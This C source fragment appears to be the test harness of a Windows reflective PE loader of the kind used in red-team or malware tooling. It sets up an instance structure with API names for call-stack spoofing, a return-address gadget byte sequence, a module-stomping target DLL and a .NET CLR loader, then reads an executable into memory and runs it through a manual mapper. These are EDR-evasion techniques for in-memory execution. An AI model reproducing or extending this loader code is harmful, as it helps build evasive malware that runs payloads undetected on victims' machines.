printf("[ ] testGenric %s %d %s %d %s\n", peFilename1, isDll, methodeName, isDotNet, cmdLine);
INSTANCE* inst;
inst = (INSTANCE*)calloc(1, sizeof(INSTANCE));
printf("[ ] Instance size: %zu\n", sizeof(INSTANCE));
strncat((char*)inst->sGetProcAddress, "GetProcAddress", 14);
strncat((char*)inst->sGetModuleHandleA, "GetModuleHandleA", 16);
strncat((char*)inst->sLoadLibraryA, "LoadLibraryA", 12);
strncat((char*)inst->sVirtualAlloc, "VirtualAlloc", 12);
strncat((char*)inst->sVirtualFree, "VirtualFree", 11);
strncat((char*)inst->sVirtualProtect, "VirtualProtect", 14);
strncat((char*)inst->sGetNativeSystemInfo, "GetNativeSystemInfo", 20);
#if DW_HAS_STACK_SPOOFING
strncat((char*)inst->sRtlLookupFunctionEntry, "RtlLookupFunctionEntry", 22);
strncat((char*)inst->sBaseThreadInitThunk, "BaseThreadInitThunk", 19);
strncat((char*)inst->sRtlUserThreadStart, "RtlUserThreadStart", 18);
#endif
strncat((char*)inst->sGetCommandLineA, "GetCommandLineA", 15);
#if DW_HAS_RUNTIME_FUNCTION_TABLE
strncat((char*)inst->sRtlAddFunctionTable, "RtlAddFunctionTable", 19);
#endif
strncat((char*)inst->sSleep, "Sleep", 5);
strncat((char*)inst->sAddVectoredExceptionHandler, "RtlAddVectoredExceptionHandler", 30);
strncat((char*)inst->sRemoveVectoredExceptionHandler, "RtlRemoveVectoredExceptionHandler", 33);
strncat((char*)inst->sExitThread, "ExitThread", 10);
strncat((char*)inst->sExitProcess, "ExitProcess", 11);
strncat((char*)inst->sFlushInstructionCache, "FlushInstructionCache", 21);
strncat((char*)inst->sGetCurrentProcess, "GetCurrentProcess", 17);
strncat((char*)inst->sRtlExitUserProcess, "RtlExitUserProcess", 18);
// DEBUG_OUTPUT test mode: let LoaderTest regain control after the payload export.
inst->exitMode = 0;
strncat((char*)inst->sKernel32DLL, "kernel32.dll", 12);
strncat((char*)inst->sKernelBaseDLL, "kernelbase.dll", 14);
strncat((char*)inst->sNtDLL, "ntdll.dll", 9);
wcsncat((wchar_t*)inst->wsKernel32DLL, L"KERNEL32.DLL", 12);
strncat((char*)inst->sDataSec, ".data", 5);
#if DW_HAS_RUNTIME_FUNCTION_TABLE
strncat((char*)inst->sPDataSec, ".pdata", 6);
#endif
#if DW_HAS_STACK_SPOOFING
strncat((char*)inst->sGadget, "\xFF\x23", 2);
#endif
inst->isModuleStompingUsed=0;
strncat((char*)inst->sModuleToStomp, "Windows.Storage.dll", 19);
// Load module in memory
FILE *peFile = fopen(peFilename1, "rb");
if (!peFile)
{
printf("[!] Cannot open executable file: %s\n", peFilename1);
return -1;
}
fseek(peFile, 0, SEEK_END);
long peFileSize = ftell(peFile);
fseek(peFile, 0, SEEK_SET);
void* peBuffer = VirtualAlloc(NULL, peFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!peBuffer)
{
printf("[!] Cannot allocate executable buffer of size %ld\n", peFileSize);
fclose(peFile);
return -1;
}
if (fread(peBuffer , peFileSize, 1, peFile) != 1)
{
printf("[!] Cannot read executable file: %s\n", peFilename1);
fclose(peFile);
return -1;
}
fclose(peFile);
printf("[ ] Executable file: %s\n", peFilename1);
printf("[ ] Executable size: %ld\n", peFileSize);
if(isDll && isDotNet)
{
printf("[!] Cannot use both isDll and isDotNet at the same time\n");
return -1;
}
if(!isDll)
{
inst->isDll = 0;
}
else
{
inst->isDll = 1;
strncat((char*)inst->sdllMethode, methodeName, strlen(methodeName));
}
if(isDotNet)
{
inst->isDotNet = 1;
// Load module in memory
FILE *peDotNetLoader= fopen(DW_DEBUG_GOODCLR_PATH, "rb");
if (!peDotNetLoader)
{
printf("[!] Cannot open DotNet loader: %s\n", DW_DEBUG_GOODCLR_PATH);
return -1;
}
fseek(peDotNetLoader, 0, SEEK_END);
long peDotNetLoaderSize = ftell(peDotNetLoader);
fseek(peDotNetLoader, 0, SEEK_SET);
void* peDotNetLoaderBuffer = VirtualAlloc(NULL, peDotNetLoaderSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!peDotNetLoaderBuffer)
{
printf("[!] Cannot allocate DotNet loader buffer of size %ld\n", peDotNetLoaderSize);
fclose(peDotNetLoader);
return -1;
}
if (fread(peDotNetLoaderBuffer , peDotNetLoaderSize, 1, peDotNetLoader) != 1)
{
printf("[!] Cannot read DotNet loader: %s\n", DW_DEBUG_GOODCLR_PATH);
fclose(peDotNetLoader);
return -1;
}
fclose(peDotNetLoader);
inst->ptrModuleTst = peDotNetLoaderBuffer;
inst->dotnetLoaderSize = peDotNetLoaderSize;
inst->ptrDotNetModuleTst = peBuffer;
inst->dotnetModuleSize = peFileSize;
strncat((char*)inst->sdllMethode, "go", 2);
wchar_t* dst = (wchar_t*)inst->sCmdLine;
swprintf(dst, 2048, L"%hs", cmdLine);
}
else
{
inst->isDotNet = 0;
inst->ptrModuleTst = peBuffer;
inst->moduleSize = peFileSize;
inst->ptrDotNetModuleTst = NULL;
wchar_t* dst = (wchar_t*)inst->sCmdLine;
swprintf(dst, 2048, L"exe %hs", cmdLine);
printf("[ ] Command line: %ls\n", dst);
}
printf("[+] Loader launch\n");
int loaderResult = 0;
__try
{
loaderResult = Loader(inst);
}
__except(DebugExceptionFilter(GetExceptionInformation()))
{
return -1;
}
printf("[+] Loader end (%d)\n", loaderResult);
if (inst->exitMode == 0)
{
// Avoid normal process teardown after manually mapped test payloads.
fflush(stdout);
TerminateProcess(GetCurrentProcess(), (UINT)loaderResult);
}
return loaderResult;
}
int main(int argc, char* argv[])
{
DebugConfigureOutput();
if (argc < 6)
{
printf("Usage: %s <peFilename> <isDll> <methodName> <isDotNet> <cmdLine>\n", argv[0]);
return 1;
}
char* peFilename1 = argv[1];
int isDll = atoi(argv[2]); // Convert string to int (0 or 1)
char* methodeName = argv[3];
int isDotNet = atoi(argv[4]); // Convert string to int (0 or 1)
char* cmdLine = argv[5];
return testGenric(peFilename1, isDll, methodeName, isDotNet, cmdLine);
}
#endif